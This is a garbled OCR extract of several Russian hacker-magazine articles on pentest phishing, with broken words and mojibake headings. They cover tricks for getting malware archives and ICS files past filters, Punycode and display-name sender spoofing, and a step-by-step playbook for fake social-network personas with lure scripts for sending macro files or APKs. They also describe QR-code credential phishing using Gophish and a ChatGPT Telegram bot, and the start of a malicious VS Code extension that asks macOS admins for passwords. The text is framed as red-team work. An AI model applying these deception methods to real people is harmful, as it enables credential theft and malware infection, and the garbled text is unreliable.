ширение фай ла это не очень поможет.

Отоб ражение дей стви тель ного рас ширения фай ла

Опять же это моветон — отправ лять  в архи ве, что лег ко обна ружи вает ся
защит ными сис темами. Но, во-пер вых, не у всех уста нов лены такие сис темы,
во-вто рых, я прос то люб лю все клас сифици ровать, что бы мак симум
информа ции по теме было в одном раз деле, даже если какие-то трю ки
не работа ют в орга низа циях, заботя щих ся о защите информа ции.

.exe

Ког да человек пытал ся запус тить получен ный от нас EXE-файл на Linux
и писал нам, что ему не уда ется открыть файл, мы ему «помога ли» и отправ- 
ляли дру гую наг рузку. Мож но с уве рен ностью ска зать, что тех нологии защиты
лишь сни жают рис ки и плю сом к ним нуж но вкла дывать ся в навыки кибер- 
безопас ности людей. Но сей час не об этом, едем даль ше.

ÐÅÄÊÎ ÈÑÏÎËÜÇÓÅÌÛÅ ÐÀÇÐÅØÅÍÈß

От прав ляя архи вы, про буй раз ные рас ширения помимо стан дар тных  и 

. Пытай ся обой ти сис тему защиты (тех ничес кую и челове чес кую)

с помощью ,  и дру гих.

.rar .
zip

.cab .z
В 2020 году по Рос сии про кати лись рас сылки с мал варью, запако ван ной

в архи вы с рас ширени ем , и кто-то был явно не готов к таким ата кам и не

бло киро вал подоб ные архи вы на поч товом сер вере. Про верь, может, они
не бло киру ют и z-архи вы :)

.001

Продолжение статьи →

https://www.fortinet.com/blog/threat-research/pdf-phishing-leads-to-nanocore-rat-targets-french-nationals
http://canarytokens.org/
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages


ИЗУЧАЕМ УЛОВКИ И ХИТРОСТИ ДЛЯ
ДОСТАВКИ ПИСЕМ С МАЛВАРЬЮ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÔÀÉË ICS

Фор мат ICS (пер вая бук ва — заг лавная i) — это фор мат фай лов, исполь- 
зуемый для кален дарей и еmail-кли ентов (Google Calendar, Apple iCal,
Microsoft Outlook).

В iPhone, нап ример, такой файл отоб ража ется сле дующим обра зом.

При мер отоб ражения фай ла ICS на iPhone

В дан ном слу чае кноп ки «Сох ранить» в свой кален дарь нет, но это не беда.
Такой вари ант под ходит для сроч ных век торов:

« »
Êîë ëåãè, íàïîìè íàåì, ÷òî îíëàéí�âñòðå ÷à ñîò ðóäíè êîâ ñ ãåíåðàëü- 
íûì äèðåê òîðîì óæå íà÷àëàñü. Ïîâ òîðíî ïðèê ðåïëÿþ ôàéë ñ íàïîìè- 
íàíè åì äëÿ êàëåí äàðÿ.

От прав ляем в 9:05. Сот рудник подума ет, что уже опаз дыва ет, и не будет раз- 
мышлять, сто ит ли перехо дить по ссыл ке.

ÔÀÉË Â ÎÁËÀÊÅ VS ÔÀÉË ÍÀ ÑÅÐÂÅÐÅ

На пос ледок давай рас смот рим, как облачные хра нили ща фай лов помога ют
сде лать файл более безопас ным в гла зах жер твы.

Ссыл ки на один и тот же файл были отправ лены, а пос ле откры ты
в Outlook. Один файл хра нил ся на Яндекс Дис ке, вто рой — пря мо на хос- 
тинге:

<https://disk.yandex.ru/d/UAB58lN5VE173A> 

<https://icast.ru/virus.exe> 

В резуль тате файл с Яндекс Дис ка ска чива ется без допол нитель ных уве дом- 
лений, а при ска чива нии нап рямую поль зователь видит вот такое пре дуп- 
режде ние.

В заг рузках оба фай ла, соот ветс твен но, выг лядят так.

Де лаем вывод, что, если хотим прив лекать мень ше вни мания к фай лу, надо
заг ружать его в облачное хра нили ще.

ÍÅÄÎ×ÅÒÛ Â ÈÍÒÅÐÔÅÉÑÀÕ ÏÎ×ÒÎÂÛÕ ÊËÈÅÍÒÎÂ È ÑÅÐÂÈÑÎÂ

С фай лами разоб рались, теперь прой дем ся по нес коль ким огре хам
в интерфей се, которые помога ют не толь ко пен тесте рам, но и зло умыш- 
ленни кам вво дить жертв в заб лужде ние.

Рас смот рим тему с двух сто рон: как мы в бла гих целях можем исполь- 
зовать эти недоче ты при пен тесте в фишин говых рас сылках и как раз работ- 
чики ПО могут помочь поль зовате лям раз личать этот самый фишинг.

На кар тинке ниже изоб ражен интерфейс вхо дяще го пись ма в Outlook.

Ло гика жер твы такая: раз пись мо видят и бух галтер, и дирек тор, зна чит, луч ше
сде лать то, что тре бует ся. Все бы ничего, но в копии ука заны email-адре са,
ими тиру ющие кол лег жер твы, на самом деле это несущес тву ющие адре са
(см. рисунок ниже).

Но если в пер вом email еще мож но раз гля деть бук ву s со штри хом вни зу,
то во вто ром кирил личес кую бук ву визу аль но отли чить от латин ской невоз- 
можно.

При наведе нии кур сора мыши email виден тот же, с под дель ной бук вой.

Рас чет зло умыш ленни ка прос той: он ука зыва ет фик тивные адре са в копии,
пись ма никуда не доходят, зато жер тва дума ет, что началь ство в кур се
перепис ки, и с боль шей долей веро ятности откро ет архив с мал варью внут ри
или перей дет по фишин говой ссыл ке.

«Фей ковый» email выг лядит похожим на ори гиналь ный домен, потому что
Outlook пре обра зовал Punycode-ком бинацию в Unicode.

В дру гом извес тном поч товом кли енте точ но такая же исто рия: email
с Punycode не отоб ража ется как ,

а мог бы.

<gl.buhgalter@xn--topphish-g9c.ru>

Те перь давай рас смот рим нес коль ко при меров поч товых служб и их
веб-интерфей сов. На этот раз взгля нем не на то, как отоб ража ется Unicode
в поле отпра вите ля, а нас коль ко слож но поль зовате лю опре делить отпра- 
вите ля пись ма в интерфей се.

Наз вание ком паний ука зывать не буду, но веб-интерфей сы с явны ми
проб лемами опре деле ния реаль ного отпра вите ля пись ма мы рас смот рим.
На при мере ниже ты можешь уви деть email в поле «От», но это не адрес
отпра вите ля — это email, ука зан ный вмес то име ни отпра вите ля.

Пись мо в веб-интерфей се, где не виден реаль ный email-адрес отпра -
вите ля

То есть имя и email могут выг лядеть так: ,
а в поч товом сер висе жер тва видит толь ко .

info@domain.ru <info@evil.com>
<info@domain.ru>

В сле дующем при мере похожая исто рия: вмес то име ни мы видим email
и поль зователь решит, что пись мо приш ло от зна комо го отпра вите ля.

Но в этом интерфей се при нажатии на email хотя бы мож но уви деть, кто
на самом деле отпра вил пись мо, в отли чие от пре дыду щего при мера. Мож но
же сде лать так, как в интерфей сах ниже?

При мер отоб ражения име ни отпра вите ля и email в Яндекс Поч те

При мер отоб ражения име ни отпра вите ля и email в The Bat

ÈÒÎÃÈ

Мы рас смот рели нес коль ко при емов обхо да «челове чес кого фай рво ла»
с помощью тех ничес ких при емов и недоче тов в ПО. Разуме ется, сколь ко
сущес тву ет прог рамм и сер висов, столь ко в них будет и недоче тов, тре бует ся
лишь усер дие при поис ке «обхо да сис темы». Собс твен но, про фес сия хакера,
в нашем слу чае белого, как раз и под разуме вает, что ты смот ришь на мир
нем ного не так, как все осталь ные.
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При пен тестах соци аль ные сети час то
обхо дят сто роной — они счи тают ся лич ным
прос транс твом поль зовате ля. Тем
не менее для зло умыш ленни ков соци аль- 
ные сети — незаме нимый источник
информа ции. Сегод ня мы погово рим о том,
как пен тесте ры могут исполь зовать их
в сво ей работе.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

За чем зло умыш ленни ку ата ковать сот рудни ка в соци аль ной сети?
Сот рудник может отпра вить «кол леге» кон фиден циаль ную информа цию.•
Зло умыш ленник может получить дос туп к лич ному телефо ну или компь юте- 
ру сот рудни ка. Если на устрой стве есть VPN, который под клю чает ся к сети
орга низа ции, счи тай, что зло умыш ленник уже «гуля ет» по кор поратив ному
сер веру или рас сыла ет фишин говые пись ма дру гим сот рудни кам.

•

Ес ли в орга низа ции сла бая пароль ная полити ка, то сот рудник будет
исполь зовать оди нако вый или схо жий пароль к соц сети и к ресур сам орга- 
низа ции.

•

Вот такое сооб щение может прис лать зло умыш ленник, что бы пре одо леть
двух фактор ную аутен тифика цию, исполь зующую авто мати чес кий зво нок
как вто рой фак тор.

При мер сооб щения от зло умыш ленни ка

При веден ный выше при мер, конеч но, не для кор поратив ного мира, а для
прос тых граж дан, но он может при годить ся, ког да нуж но прой ти такой вид
аутен тифика ции в кор поратив ном ПО.

ÏÎÄÃÎÒÎÂÊÀ

Пе ред тем как про верять осве дом ленность сот рудни ка в соц сети, нам, конеч- 
но, понадо бит ся акка унт в ней (ско рее даже нес коль ко). Акка унт мож но соз- 
дать или купить (пишешь в поис ковике «купить акка унт в ...»). Толь ко
не покупай «лом» (взло ман ный акка унт), за угнанные акка унты по голове
не пог ладят даже при исполь зовании в закон ном пен тесте.

Пот ребу ются жен ские акка унты, неваж но, какого пола наша цель. В боль- 
шинс тве слу чаев нашему фей ку дол жно быть око ло 35–45 лет. Эро тичес ких
фото раз мещать не надо. Обыч ная жен щина.

Фо тог рафию на ава тар ку генери руем с помощью ней рон ных сетей на сай- 
те . Резуль тат генера ции, как пра вило, выг лядит
доволь но реалис тичным.

thispersondoesnotexist.com

При меры сге нери рован ной «фотог рафии»

С исполь зовани ем такой фотог рафии соц сеть авто мати чес ки не забанит тебя
за воровс тво фото из дру гих акка унтов. Осталь ные фотог рафии берем
с людь ми, но без лиц. Трех-пяти сним ков будет дос таточ но. Для получе ния
уни каль ных фото отлично подой дут скрин шоты из видео.

Под писывать фотог рафии важ но «по-челове чес ки», эмо циональ но, что бы
соз давалось впе чат ление, что они не фей ковые. Неп рофес сиональ ные
фотог рафии при роды тоже подой дут, но не забыва ем о под писях, нап ример
«Зима в раз гаре».

При мер бытовой неп рофес сиональ ной фотог рафии

За пол няем осталь ные поля в про филе по нас тро ению: шко ла, вуз и так далее.
Мес то работы не пишем, но мож но написать, что ты HR, если собира ешь ся
общать ся с жер тва ми в этой роли.

Ес ли ты соз дал акка унт с нуля, нуж но добавить ему «исто рию». На сте не
дол жны быть какие-то записи в про шед шем вре мени. В «зап рещен ной в Рос- 
сии соц сети» лег че все го соз дать себе акка унт десяти лет ней дав ности. Алго- 
ритм дей ствий очень прос той.

Пуб лику ем пост с нас трой кой видимос ти «Толь ко я».

При мер нас трой ки видимос ти пос та

Жмем на рас положен ную спра ва кноп ку вызова меню и меня ем дату
на три-четыре года назад.

Из менение даты пуб ликации пос та

Раз меща ем таким обра зом 8–10 пос тов.
Те перь нуж но «набить» дру зей в акка унт. Кто у нас любит зна комить ся

с новыми людь ми, даже если не зна ет их? Пра виль но, учас тни ки соот ветс тву- 
ющих темати чес ких групп.

По иск темати чес ких групп

До бав ляем ся в пер вую попав шуюся груп пу и в раз деле «Учас тни ки» видим
десят ки тысяч наших потен циаль ных дру зей. Откры ваем их про фили и нап- 
рашива емся в друзья к 20–30 людям. Как толь ко тебя добавит нес коль ко
человек, иди к ним в про фили в раз дел «Друзья» и отправ ляй заяв ки в друзья
их друзь ям (как мно го слов «друзья» в одном пред ложении, но что поделать,
даль ше будет еще боль ше).

Лю ди, которым будут при ходить твои заяв ки, уви дят, что у вас есть общий
друг, и с боль шей веро ятностью добавят тебя в свой круг обще ния. Спус тя
час я таким спо собом набирал по 500–600 человек.

Но для наших целей дос таточ но и 100–200 человек. Что бы облегчить старт
рас крут ки, мож но купить акка унт с друзь ями. Сто ит он око ло 40–50 руб лей,
а в друзь ях уже будет 50–100 про филей.

Те перь нуж но добав лять целевых дру зей. Для это го ищем людей по наз- 
ванию орга низа ции.

При мер поис ка сот рудни ков какой-либо орга низа ции

До бав ляем человек десять, не боль ше, и ждем, ког да нас при мут в друзья.
Теперь отправ ляем заяв ки всем осталь ным, кого мы смог ли най ти. Доверия
к нашему про филю будет боль ше, если у нас в друзь ях уже чис лится кол лега
из орга низа ции жер твы. Если сот рудни ков таким спо собом наш лось нем ного,
при дет ся идти в дру гие соц сети и искать людей там.

При мер поис ка орга низа ции в LinkedIn

На стра нице орга низа ции видим спи сок сот рудни ков и пыта емся най ти их
в основной соци аль ной сети, что бы добавить в друзья.

А еще сов сем нехоро ший человек может стать SMM-рей дером, то есть
прис воить себе груп пу в LinkedIn, у которой пока нет вла дель ца (см. скрин шот
ниже), но сей час не об этом.

При мер сооб щения на стра нице бан ка, у которой нет вла дель ца

Итак, мы «под ружились» с сот рудни ками орга низа ции, которая заказа ла нам
пен тест. Прис тупим к написа нию сооб щений. Если ты не уве рен, что человек
работа ет в целевой орга низа ции, — это отличный повод начать обще ние (на
самом деле даже если он там работа ет).

Де лаем «мно гохо дов ку» и пишем прос тое имен ное сооб щение:

« »«..., äîá ðûé äåíü. Âû åùå ðàáîòà åòå â ...?»

От вет, как пра вило, укла дыва ется в один из трех вари антов: да, нет, а что?
Ес ли ответ утверди тель ный, пишем: «Жаль, конеч но, в хорошем смыс ле,

но лад но, успе хов Вам!» Жер тве ста нет любопыт но, и она опять же спро сит:
«А что?»

Го ворим: «Так как речь идет о работе, я не хочу, что бы меня обви няли
в перема нива нии, поэто му вы можете озна комить ся с информа цией в откры- 
том дос тупе самос тоятель но (тут ссыл ка на фишин говую фор му авто риза ции
в соц сети). Толь ко, если что, Вы наш ли ее слу чай но :)».

Ес ли мы нацеле ны получить дос туп к телефо ну или компь юте ру жер твы, то
пред лага ем отпра вить файл: «Так как речь идет о работе, я не хочу, что бы
меня обви няли в каком-то там перема нива нии. Но если Вам инте рес на
работа по спе циаль нос ти, с более высокой зар пла той и дей стви тель но адек- 
ватным руково дите лем, я могу отпра вить файл на Вашу лич ную поч ту».
Или дела ем дру гое окон чание: «...и дей стви тель но адек ватным руково дите- 
лем, то прик репляю неболь шую анке ту».

Ну и пос ле это го отправ ляем потен циаль ной жер тве документ с мак росом
или фишин говую ссыл ку. Если на пер воначаль ный воп рос жер тва пишет
«Нет», вычер кива ем челове ка из нашего рабоче го спис ка, так как нам за таких
не пла тят.

Наз вание фай ла или ссыл ки может вклю чать 220000p
или 220tysyachRub — так мы дадим понять, что день ги пред лага ются
хорошие.

•

На чинать сооб щение с «Доб рый день (утро, вечер)» луч ше, чем
со «Здравс твуй те», кон версия обыч но зна читель но выше.

•

В рабочее вре мя сот рудник, ско рее все го, будет заходить в соц сеть
с телефо на, учти это при пла ниро вании ата ки.

•

В зависи мос ти от тек ста сооб щения мож но отпра вить сот рудни ку не прос- 
то ссыл ку или файл c мак росом, но и , яко бы спе циаль но соз данное
для соис кателей зак рытое при ложе ние, в котором нуж но раз решить
геоло кацию, авто ризо вать ся в Gmail, дать дос туп к СМС и так далее.

•
.apk

Î ÏÎÈÑÊÅ ÑÎÒÐÓÄÍÈÊÎÂ Â ÑÎÖÑÅÒßÕ

Мож но искать сот рудни ков не толь ко стан дар тным поис ком в соц сетях, но и
через стра ницы ком пании. Нап ример, в «зап рещен ной соц сети» нуж но смот- 
реть, кто лай кает пос ты на этой стра нице. Если один человек лай кнул нес- 
коль ко пос тов (осо бен но ког да лай ков под пос тами два-три), с боль шой
долей веро ятности мож но ска зать, что это сот рудник орга низа ции. Но при
тар гетиро ван ной соци аль ной инже нерии име ет смысл уточ нить эту информа- 
цию по дру гим источни кам, пос коль ку этот лай кающий, может быть, прос то
хочет устро ить ся в ком панию на работу.

Как искать сот рудни ков в VK? Если крат ко, то идем на 
 и вби ваем наз вание инте ресу юще го нас работо дате ля в поиск.

спе циаль ную стра- 
ницу

Ну а LinkedIn прос то соз дан для поис ка сот рудни ков в опре делен ных ком- 
пани ях. Он заб локиро ван в РФ, одна ко люди как-то про дол жают им поль- 
зовать ся :)

ÊËÎÍÈÐÎÂÀÍÈÅ ÀÊÊÀÓÍÒÎÂ

Вновь соз данный акка унт будет вызывать боль ше доверия, если это фей- 
ковый про филь кол леги, дру га, зна комо го потен циаль ной жер твы. Соз давая
фей ковую копию акка унта кол леги, исполь зуй под мену сим волов.

Как мошен ники в Telegram соз дают копии извес тных групп и про филей, так
и ты можешь исполь зовать этот при ем, ког да ука зыва ешь имя акка унта, —
в бла гих целях, разуме ется.

Нап ример, мошен ники в сво их «методич ках» имен но так и рекомен дуют
пос тупать в извес тной соц сети с фотог рафи ями, нап ример вмес то точ ки
исполь зовать ниж нее под черки вание и наобо рот: ска жем, yu.ra вмес то yu_ra.
Не забыва ем и про клас сичес кий тай псквот тинг, ког да сим волы заменя ют
похожи ми или добав ляют лиш ние, нап ример valeron меня ем на valer0n.

Ес ли поль зователь вдруг заметит под вох и спро сит, почему ты пишешь
с нового акка унта, ска жи, что ты потерял дос туп к ста рому, а вос ста новить его
не получа ется.

ÌÅÄËÅÍÍÎ, ÍÎ ÂÅÐÍÎ

По чаще лай кай и ком менти руй пос ты на стра нице или в груп пе орга низа ции.
Нуж но при мель кать ся, пусть тебя заметят пять — десять сот рудни ков. Успех
мож но оце нить по лай кам и ком мента риям тво их ком мента риев.

Дож дись момен та, ког да тебя поп росят о помощи или зададут воп рос.
Вмес то отве та пред ложи ски нуть тре буемое на поч ту (в иде але кор поратив- 
ную) и отправь потен циаль ной жер тве наг рузку. В общем, луч шие сце- 
нарии — это ког да поль зователь сам ини циирует отправ ку ему ссыл ки
или фай ла. На иллюс тра ции ниже при веден наг лядный при мер такого.

ÌÍÎÃÎÕÎÄÎÂÊÀ Â ÑÎÖÑÅÒÈ

По рой удив ляешь ся совер шенно фан тасти чес ким сце нари ям, которые при- 
меня ют соци аль ные инже неры в дикой при роде. Вот при мер «мно гохо дов ки»,
ког да иран ские хакеры мас кирова лись под инс трук тора по аэро бике. Боль ше
восем надца ти месяцев они работа ли через сеть ботов в Fb и по email (см.
рис. ниже), обща ясь с работ никами воз душно-кос мичес кой обо роны США.
Осо бен но хакеров инте ресо вали те, кто учас тву ет в опе раци ях на Ближ нем
Вос токе.

При мер пись ма от иран ско го хакера с опро сом для жер твы о ее питании

«Хакер» уже пуб ликовал статью под наз вани ем «
», под робно опи сыва ющую этот инци дент.

Иран ские хакеры мас кирова- 
лись под инс трук тора по аэро бике

У тебя может и не ока зать ся нес коль ких месяцев на тес ты, но не всег да
нуж но торопить ся. Ведь если сот рудни ки при выка ют к «быс трым» методам
атак, то слож ную мно гохо дов ку раз гадать нам ного труд нее. Если ты сос тоишь
в Red Team и регуляр но ищешь лазей ки в целевой орга низа ции, то дол гоиг- 
рающие ата ки — это пра виль ный под ход.

ÏÎÌÎÙÜ ÏÎ ÇÀÏÐÎÑÓ

Нель зя не упо мянуть и про так тику выжида ния. Поз накомив шись с поль- 
зовате лем в соци аль ной сети, дож дись, пока он сам не напишет в сво ем пос- 
те прось бу о помощи (или уже написал, вни матель но изу чи лен ту).

Вос поль зовав шись этим поводом, мож но отпра вить потен циаль ной жер- 
тве не толь ко вре донос ный архив, но и фишин говую ссыл ку на сайт, где яко бы
рас кры вает ся ответ на ее воп рос. Сай том может быть и соци аль ная сеть,
в которой ты обща ешь ся с жер твой.

ÂÛÂÎÄÛ

Со циаль ная инже нерия в связ ке с соци аль ными сетями — мощ ный инс тру- 
мент как для белых хакеров, так и для зло умыш ленни ков. Чем быс трее мы
най дем неос ведом ленных в сфе ре информа цион ной безопас ности сот рудни- 
ков, тем луч ше. Ведь рано или поз дно навыки поль зовате лей обя затель но
кто-нибудь про верит — либо ты, либо хакер.

https://thispersondoesnotexist.com/
https://vk.com/search?c%5Bcompany%5D=%D0%90%D0%9E%20%D0%A0%D0%BE%D0%B3%D0%B0%20%D0%B8%20%D0%BA%D0%BE%D0%BF%D1%8B%D1%82%D0%B0&c%5Bname%5D=1&c%5Bper_page%5D=40&c%5Bsection%5D=people
https://xakep.ru/2021/07/28/marcella-flores/


ВЫМАНИВАЕМ ПАРОЛЬ
ПРИ ПОМОЩИ QR-КОДА 

И ЧАТ-БОТА

COVERSTORY

ChatGPT сей час раз ве что в кот леты не кла дут. В этой статье
мы рас ска жем, как в про екте по соци аль ной инже нерии
с помощью фор ка биб лиоте ки для Gophish рас сылать QR-
коды вмес то обыч ных ссы лок, что бы вытащить сот рудни ков
из защищен ного рабоче го окру жения на лич ные девай сы.
В качес тве catchy-сце нария рас сылки мы рас смот рим
«Telegram-бот IT-под дер жки с ChatGPT» и на самом деле
исполь зуем эту ней росеть для генера ции кода бота, а так же
под клю чим интегра цию с API OpenAI для обще ния с поль- 
зовате лями.

В августе 2023 года прош ла церемо ния наг ражде ния  — пре мии
для спе циалис тов по тес тирова нию на про ник новение, которую учре дила
ком пания Awillix. Мы пуб лику ем луч шие работы из каж дой номина ции. Эта
статья заняла пер вое мес то в номина ции «Ловись, рыб ка», пос вящен ной
фишин гу.

Pentest Award

Идея, сце нарии: • Ñåð ãåé Ëóêèíûõ, @IBcrew

Ин фраструк тура, домены, поч та, Gophish: • Èëüÿ Ãåîð ãèåâ ñêèé,

@igeorgievsky

Код для QR и чат-бота: • Äìèò ðèé Ìàðþø êèí, @dmarushkin

ÇÀÄÀ×À

На вхо де задача — сде лать про ект по соци аль ной инже нерии в круп ной
финан совой орга низа ции с целью повыше ния осве дом леннос ти сот рудни ков
в области информа цион ной безопас ности.

Из вес тно, что у сот рудни ков заказ чика кор поратив ный Outlook, антиспам
и Chrome как дефол тный бра узер. А так же повышен ный уро вень соци аль ной
ответс твен ности и боевой готов ности — как у ИБ-под разде ления, так и у
рядовых слу жащих.

Из при выч ных инс тру мен тов будем исполь зовать опен сор сный фрей мворк
Gophish. Попыта емся вытянуть поль зовате ля по ссыл ке на внеш ний ресурс
с доменом, похожим на кор поратив ный, и фор мой логина, а потом поп росить
ввес ти учет ные дан ные.

ÏÐÎÁËÅÌÛ

Что может пой ти не так с рас сылкой:
Ан тиспам может сре зать пись мам бал лы за некачес твен но нас тро енный
поч товый домен (DKIM, Dmark, вот это всё), недав но зарегис три рован ный
домен, подоз ритель ные хедеры (при вет, дефол тный 

) и оби лие ссы лок в пись ме (ссыл ка на фор му авто риза ции с RID-
мет кой и ссыл ка на кар тинку в пись ме, по чис лу заг рузок которой изме- 
ряет ся про цент откры тия писем).

•

X-Mailer: 

gophish

Chrome на рабочих хос тах поль зовате лей при перехо де по ссыл кам
из писем на све жий домен может с боль шой веро ятностью показать крас- 
ную прос тыню, что явно умень шит кон версию из перешед ших по ссыл кам
в тех, кто ввел пароль.

•

С нас трой кой поч тового домена, вре менем пос ле регис тра ции домена
и хедера ми все отно ситель но прос то: при желании мож но нас тро ить
и затюнить, а ссыл ку на кар тинку вооб ще убрать — кор поратив ный Outlook
все рав но ее не отоб разит в пись ме от внеш него отпра вите ля.

Но как уйти от внеш ней ссыл ки на фор му в пись ме и вне зап ной паранойи
бра узе ра?

ÐÅØÅÍÈÅ

По чему бы нам не увес ти поль зовате ля из защищен ного рабоче го окру жения
на фишин говый ресурс, откры тый на лич ном девай се, пред ложив ему в пись- 
ме QR-код?

Тут мы, кажет ся, уби ваем сра зу двух зай цев: и антиспам нем ного рас сла-
бит ся, так как у него нет понижа юще го score фак тора с внеш ними ссыл ками
в пись ме, и бра узер на лич ном телефо не не скло нен, в отли чие от дес ктоп ной
вер сии Chrome, так панико вать при виде нового домена.

Но как вста вить QR в пись мо? Это же тоже кар тинка, и кор поратив ный
Outlook пож рет ее в сооб щени ях от внеш него отпра вите ля так же, как кар- 
тинку Gophish.

Тот же Яндекс рас сыла ет QR-ссыл ки на чеки, свер стан ные при помощи
сло ев ( ).div

Вто рой вари ант —  QR-код из сим волов Unicode.сде лать

Поп робу ем затащить в Gophish оба вари анта и пос мотрим, что будет луч ше
выг лядеть в Outlook.

Для это го сна чала  в биб лиоте ку , которая час то
исполь зует ся для работы с QR в Go, два новых метода для генера ции QR
в Unicode и HTML.

при несем go-qrcode

Даль ше в Gophish  генера цию QR-ссыл ки в перемен ную для поч- 
тового шаб лона.

до бавим

В ходе пус конала доч ных испы таний мы выяви ли, что для Outlook кор рек тней
отоб ражение в Unicode, а для веб-кли ентов (Gmail, Mail.ru, Yandex) и мобиль- 
ных кли ентов луч ше выг лядит HTML QR.

В рас сылке мож но под держать сра зу оба вари анта через сле дующую
конс трук цию.

Мы получи ли рабочий спо соб проб росить QR со ссыл кой в пись мо. Смар- 
тфон без воп росов его чита ет и откры вает нам веб-фор му авто риза ции
Gophish без намеков на бес покой ство. Ура!

ÑÖÅÍÀÐÈÉ ÐÀÑÑÛËÊÈ

Итак, у нас есть новый велоси пед, куда бы нам на нем поехать?
Нам нужен прав доподоб ный пред лог для поль зовате ля, что бы у него воз- 

никло желание ска ниро вать QR-код со смар тфо на и там же ввес ти свои учет- 
ные дан ные.

Ког да мы работа ли над про ектом, из каж дого утю га рас ска зыва ли о все
новых нишах для при мене ния ChatGPT. Почему бы не обыг рать его и у нас?
Так родил ся сце нарий про вер ки сот рудни ков «Новый Telegram-бот IT-под- 
дер жки сот рудни ков с ChatGPT».

Пись мо так же содер жало при меры работы с ботом (выб рали реаль ные отве- 
ты ChatGPT) и сооб щение о подар ках для пер вых зарегис три ровав шихся.

И раз уж мы исполь зуем в сце нарии ChatGPT, почему бы сам код с логикой
для бота не написать имен но ему? За пару часов, десяток зап росов и уточ- 
нений мы получи ли впол не рабочий .код бота

Он при нима ет поль зовате ля по ссыл ке из пись ма с RID-мет кой и про сит
авто ризо вать ся по ссыл ке на фор му.

Пос ле перехо да на веб-фор му авто риза ции сот рудни ку пред лагалось ввес ти
свою кор поратив ную поч ту и пароль.

Пос ле вво да рек визитов поль зователь воз вра щает ся к боту. Соб ранные рек- 
визиты сот рудни ков сох ранялись на нашем сер вере.

Пос ле авто риза ции (и толь ко пос ле) бот ловил callback от фор мы Gophish
и оста вал ся общать ся с поль зовате лем в задан ной нами роли бота IT-под- 
дер жки орга низа ции.

API OpenAI кор рек тно вос при нял задан ный стар товый ввод («Ты веселый бот
IT-под дер жки сот рудни ков бан ка Х, рас положен ного в Y») и даль ше выдавал
впол не релеван тные отве ты попав шимся на рас сылку сот рудни кам.

ÂÛÂÎÄÛ

Итак, мы научи ли Gophish фор мировать тек сто вые QR-ссыл ки с помощью
Unicode-сим волов и эле мен тов , выяс нили, что для кор поратив ного
Outlook луч ше все го подош ли имен но QR-коды в Unicode.

div

Да лее, что бы объ яснить необ ходимость перей ти со смар тфо на по QR-
ссыл ке, мы выб рали сце нарий «Telegram-бот IT-под дер жки с ChatGPT» и с
помощью этой же ней росети написа ли пол нофун кци ональ ного бота IT-под- 
дер жки, исполь зовав API OpenAI. Задав боту минималь ный стар товый кон- 
текст об орга низа ции, мы научи ли его давать релеван тные отве ты об адре сах
и телефо нах офи сов, а под няв боту уро вень юмо ра, смог ли добить ся вирус- 
ного эффекта. Такой бот может прив лечь даже сот рудни ков, не вклю чен ных
в рас сылку.

Наш кли ент получил новый инс тру мент для обу чения сот рудни ков бди тель- 
нос ти, что дол жно помочь защитить их от набира ющих популяр ность фишин- 
говых атак в мес сен дже рах. Отдель ный чел лендж для кли ента — раз работать
механиз мы обна руже ния сце нари ев, при которых сот рудни ки перек люча ются
на лич ные устрой ства.

На GitHub одно го из авто ров ты най дешь 

 и .

ис- 
ходные коды фор ка биб лиоте ки go-qrcode с под- 
дер жкой QR-кодов в виде тегов HTML и сим волов
Unicode ис ходные коды бота для Telegram

https://award.awillix.ru/
https://t.me/@IBcrew
https://t.me/@igeorgievsky
https://t.me/@dmarushkin
https://stackoverflow.com/questions/19673303/formatting-qr-codes-in-html-emails-using-the-pre-tag/75771797
https://github.com/yeqown/go-qrcode/compare/main...dmarushkin:go-qrcode:main
https://github.com/yeqown/go-qrcode
https://github.com/gophish/gophish/compare/master...dmarushkin:gophish:master
https://github.com/dmarushkin/chatgpt-telegram-bot
https://github.com/dmarushkin/gophish
https://github.com/dmarushkin/chatgpt-telegram-bot
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Ког да тебе нуж но зас тавить сот рудни ков
тех поддер жки выдать кре ды и при виле гии
в macOS, но так, что бы они при этом ничего
не заподоз рили, мож но сме ло пред лагать
завер шить уста нов ку легитим ного ПО,
которое ты пред варитель но кас томизи- 
ровал. Для при мера раз берем, как это сде- 
лать с любимым все ми Visual Studio Code.

В августе 2023 года прош ла церемо ния наг ражде ния  — пре мии
для спе циалис тов по тес тирова нию на про ник новение, которую учре дила
ком пания Awillix. Мы пуб лику ем луч шие работы из каж дой номина ции. Эта
статья заняла третье мес то в номина ции «Ловись, рыб ка», пос вящен ной
фишин гу.

Pentest Award

Этот спо соб мы при мени ли по заказу одно го  круп ного рос сий ско го

хол динга в ходе ком плексной опе рации Red Team. Заказ чик нас тоял
на реали зации сле дующе го сце нария: нас «устра ивают» в ком панию по сог- 
ласован ной леген де как внеш них сот рудни ков на уда лен ке с выдан ным
MacBook в качес тве рабоче го ноута.

î÷åíü

Так как при виле гии обыч ных сот рудни ков на «маках» в орга низа ции силь но
уре заны, обра щения к тех поддер жке по боль шей час ти сос тоят из писем вро- 
де «админ, помоги мне уста новить такую-то прог рамму». Из это го родилась
идея вос поль зовать ся этой осо бен ностью рабоче го про цес са для повыше- 
ния при виле гий на «маке» до рута и заполу чить слу жеб ную учет ку из 

 для раз вития даль нейших атак на AD.

/etc/
krb5.keytab

ÑÏÓÔÈÌ ÄÈÀËÎÃ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ

В паб лике есть  по написа нию вре донос ного рас ширения, которое
уме ет само стар товать при запус ке VS Code и све тить назой ливым окном
в гла за ненавис тно му адми ну, клян ча его пароль.

ма нуал

Дос тоинс тво это го метода в том, что мож но получить кре ды при виле гиро ван- 
ной учет ки в откры том виде. Рас ширение пишет ся в поль зователь скую дирек- 
торию , поэто му, даже если у адми на сто ит чис тый VS Code, запуск

модуль ного окна сох ранит ся.

~/.vscode

Не дос таток в том, что надо пой мать  уставше го адми на, что бы пред- 
при ятие взле тело, — диало говое окно рису ется с помощью AppleScript,
поэто му выг лядит весь ма хал турно и серь езно отли чает ся от встро енных окон
зап роса рас ширен ных при виле гий. В свя зи с этим мы решили най ти дру гой
спо соб абь юзить VS Code.

